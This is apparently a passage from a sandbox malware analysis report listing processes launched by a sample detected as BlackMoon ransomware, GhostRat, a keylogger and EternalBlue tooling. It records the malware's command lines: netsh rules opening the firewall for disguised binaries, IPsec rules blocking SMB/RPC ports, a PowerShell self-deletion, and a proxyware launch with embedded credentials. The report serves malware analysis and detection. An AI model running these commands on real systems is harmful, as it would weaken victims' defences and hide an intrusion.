ff 00 74 9b ff 00 74 9c ff 00 74 9c ff 00 74 9c ff Data Ascii: t't'u(tu%u%t'u%tt'u%u%u%tt'tu%tu%t't't't't'tu%t't'ssssssssssssstsstttstttttttttttttttt

Target ID:	0
Start time:	02:04:53
Start date:	29/06/2024
Path:	C:\Users\user\Desktop\38iGnQnL33.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\38iGnQnL33.exe"
Imagebase:	0x400000
File size:	265'216 bytes
MD5 hash:	F9F5342074462FA1048FEA806EEF535F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:04:53
Start date:	29/06/2024
Path:	C:\Users\user\Desktop\MSSQLH.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\MSSQLH.exe
Imagebase:	0x400000
File size:	446'464 bytes
MD5 hash:	214F53C5C0181D9E0531C48D46ED0881
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000001.00000000.1648605215.000000000042B000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Users\user\Desktop\MSSQLH.exe, Author: Joe Security Rule: APT17_Sample_FXSST_DLL, Description: Detects Samples related to APT17 activity - file FXSST.DLL, Source: C:\Users\user\Desktop\MSSQLH.exe, Author: Florian Roth Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Users\user\Desktop\MSSQLH.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs Detection: 72%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:05:13
Start date:	29/06/2024
Path:	C:\Windows\Temp\MpMgSvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\WINDOWS\Temp\MpMgSvc.exe"
Imagebase:	0x400000
File size:	3'309'568 bytes
MD5 hash:	40670D0D30C6855DD2B3DB30B81F9CE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ETERNALBLUE, Description: Yara detected ETERNALBLUE, Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_DoublePulsar, Description: Yara detected DoublePulsar, Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: Windows_Exploit_Eternalblue_ead33bf8, Description: unknown, Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, Author: unknown Rule: EquationGroup_Toolset_Apr17_Eternalromance, Description: Detects EquationGroup Tool - April Leak, Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, Author: Florian Roth Rule: Regin_Related_Malware, Description: Malware Sample - maybe Regin related, Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, Author: Florian Roth Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, Author: ditekSHen Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:05:22
Start date:	29/06/2024
Path:	C:\Windows\Temp\Hooks.exe
Wow64 process (32bit):	true
Commandline:	"C:\WINDOWS\Temp\Hooks.exe"
Imagebase:	0x400000
File size:	12'244'992 bytes
MD5 hash:	422F3763021F8F9BFC31A9A7E4B049F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000007.00000002.1981824704.0000000001BD4000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:05:23
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs
Imagebase:	0x5a0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000008.00000003.1952945282.0000000002E53000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:05:23
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add policy name=Block
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:05:23
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:05:23
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\svchost.exe"
Imagebase:	0x5a0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	02:05:23
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:05:23
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff72bec0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:05:24
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filterlist name=Filter1
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:05:24
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:05:24
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:05:24
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:05:24
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:05:24
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:05:24
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:05:24
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:05:24
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:05:24
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add filteraction name=FilteraAtion1 action=block
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	02:05:25
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	02:05:26
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Edge dir=out program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:05:26
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:05:26
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	02:05:26
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	02:05:26
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	02:05:26
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh ipsec static set policy name=Block assign=y
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	02:05:26
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	02:05:26
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	02:05:26
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe"
Imagebase:	0x1a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	02:05:26
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	02:05:27
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	02:05:27
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	02:05:27
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	02:05:28
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	02:05:28
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall set rule name=Microsoft_Dcom new enable=yes
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	02:05:28
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	02:05:29
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	02:05:29
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	02:05:29
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	02:05:29
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	02:05:30
Start date:	29/06/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	02:05:30
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	02:05:39
Start date:	29/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	02:05:40
Start date:	29/06/2024
Path:	C:\Windows\Microsoft.NET\ctfmoon.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\ctfmoon.exe -email=usax138@protonmail.com -password=123456Aa. -device-name=Win32 -accept-tos
Imagebase:	0x160000
File size:	9'501'960 bytes
MD5 hash:	1DE26EF85F7218E1DF4ED675FA2B05D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 65%, ReversingLabs Detection: 62%, Virustotal, Browse
Has exited:	true

